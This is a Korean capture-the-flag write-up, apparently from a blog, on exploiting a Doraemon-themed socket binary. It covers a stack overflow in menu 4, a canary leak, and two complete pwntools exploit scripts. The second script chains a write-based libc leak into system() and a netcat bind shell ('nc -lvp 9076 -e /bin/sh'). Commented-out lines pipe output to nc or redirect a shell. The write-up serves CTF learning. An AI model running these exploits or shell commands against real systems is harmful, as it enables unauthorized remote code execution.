보호기법은 스택카나리와 NX가 걸려있다.
이 바이너리도 소켓으로 통신을 하는 바이너리라서 먼저 1번 터미널에서 실행을 시켜주고 2번 터미널에서 nc로 붙어야 한다.
실행을 하면 메뉴가 나온다.
근데 처음에 이 메뉴들을 실행을 시키면 open error라는 메시지가 뜨면서 바이너리가 종료된다.
그래서 아이다로 찾아보니 이 바이너리가 실행되는 위치에 각각 조건에 맞는 파일이 open()되지 않아서 open error라는 메시지를 띄워주는 것이였다.
그래서 각가 맞는 조건을 gdb와 ida를 보고 찾아서 생성해줬다.
그 후 각 메뉴를 실행해보면 도라에몽을 공격할 수도있고 체력을 회복시켜줄 수 도 있다.
각 메뉴에 대해 취약점이 존재하는지 확인해보았다.
4번 메뉴에서 취약점이 나온다.
4번 메뉴를 입력하면 y와 n을 입력받는데 그 때의 함수를 보면 read(fd, ebp-0x16, 0x6e) 이다.
즉 버퍼는 22만큼의 공간을 가지고 있는데.. read할 사이즈는 110이다.
해당 함수의 변수를 보면
ebp-0x20
ebp-0x1c
ebp-0x16
ebp-0x12
ebp-0xe
ebp-oxc
ebp-0x8까지 있다.
즉 ebp-0x16부터 ebp+0x4까지 덮으려면 22바이트가 필요하다. 하지만 여기엔 카나리가 들어가므로 총 26바이트를 넣어준 후 다음 4바이트가 ret를 덮을 것이다.
이제 카나리 값을 알아야 하는데.
ebp-0x16에서 카나리를 릭해줘야 한다.
처음에 y를 8개 넣으니 당연히 아무값도 출력이 안된다.
그래서 9개를 넣어보았다.
하지만 9개도 카나리가 나오지 않았다.
즉 카나리의 첫바이트는 널바이트라는 것이다.
그래서 10개를 넣으니 카나리가 릭됐다.
카나리는 이렇게 릭을 해주면 되고..
처음엔 내부에 있는 execl()함수와 /bin/sh을 실행시키도록 코드를 짜서 rtl을 해보니 서버단에서 쉘이 따지고 attacker는 쉘이 보이지 않았다.
처음에 짠 exploit code
from pwn import * def canary_leak(): p = remote("localhost", 8888) print p.recvuntil(">") p.sendline("4") print p.recvuntil("(y/n)") p.sendline("y"*10) print p.recvuntil("You choose '") dummy_canary = p.recvuntil("'!").split("\n")[1] canary = u32("\x00" + dummy_canary[0:3]) ret = u32(dummy_canary[15:19]) log.info("canary = {}".format(hex(canary))) log.info("ret = {}".format(hex(ret))) print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n") p.close() return canary def exploit(canary): binsh = 0x804970d bss = 0x804b080 execl_plt = 0x8048710 pppr = 0x8048b2c payload = "y"*10 payload += p32(canary) payload += "A"*12 payload += p32(execl_plt) payload += p32(pppr) payload += p32(binsh) payload += p32(binsh) payload += p32(0) p = remote("localhost", 8888) p.recvuntil(">") p.sendline("4") print p.recvuntil("(y/n)") p.sendline(payload) p.interactive() if __name__ == "__main__": canary = canary_leak() exploit(canary)
위 방법은 attacker입장에선 무의미하다.
그래서 rop 가젯을 모아서 익스플로잇을 해주면 된다.
libc주소를 write()로 릭해서 system함수를 offset으로 구한 후 system()함수를 실행 해주면 익스가 된다. (최종적으론 리버스쉘로 풀었다.)
exploit code
from pwn import * def canary_leak(): p = remote("localhost", 8888) print p.recvuntil(">") p.sendline("4") print p.recvuntil("(y/n)") p.sendline("y"*10) print p.recvuntil("You choose '") dummy_canary = p.recvuntil("'!").split("\n")[1] canary = u32("\x00" + dummy_canary[0:3]) ret = u32(dummy_canary[15:19]) log.info("canary = {}".format(hex(canary))) log.info("ret = {}".format(hex(ret))) print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n") p.close() return canary def exploit(canary): read_plt = 0x8048620 read_got = 0x804b010 write_plt = 0x80486e0 write_got = 0x804b040 binsh = 0x804970d bss = 0x804b080 system_offset = 0x9add0 # write - system pppr = 0x8048b2c #cmd = "/bin/sh -i <&4 >&4 2>&4\x00" #cmd = "ls -l | nc localhost 9076\x00" cmd = "nc -lvp 9076 -e /bin/sh\x00" payload = "y"*10 payload += p32(canary) payload += "A"*12 payload += p32(write_plt) payload += "JUNK" payload += p32(4) payload += p32(write_got) payload += p32(4) p = remote("localhost", 8888) p.recvuntil(">") p.sendline("4") print p.recvuntil("(y/n)") p.sendline(payload) print len(p.recv()) libc_write = u32(p.recv()) log.info("libc_write = {}".format(hex(libc_write))) system_addr = libc_write - system_offset log.info("system_addr = {}".format(hex(system_addr))) p.close() payload = "y"*10 payload += p32(canary) payload += "A"*12 payload += p32(read_plt) payload += p32(pppr) payload += p32(4) payload += p32(bss) payload += p32(len(cmd)) payload += p32(system_addr) payload += "JUNK" payload += p32(bss) p = remote("localhost", 8888) p.recvuntil(">") p.sendline("4") print p.recvuntil("(y/n)") p.sendline(payload) print p.recv() p.sendline(cmd) p.interactive() if __name__ == "__main__": canary = canary_leak() exploit(canary)
'CTF' 카테고리의 다른 글
CodeGate2016 watermelon (0) | 2018.07.26 |
---|---|
CodeGate2014 nuclear (0) | 2018.07.22 |
CodeGate 2017 babypwn (1) | 2018.07.18 |
pico-ctf-2013 rop-4 (0) | 2018.07.17 |
pico-ctf-2013 rop-3 (0) | 2018.07.14 |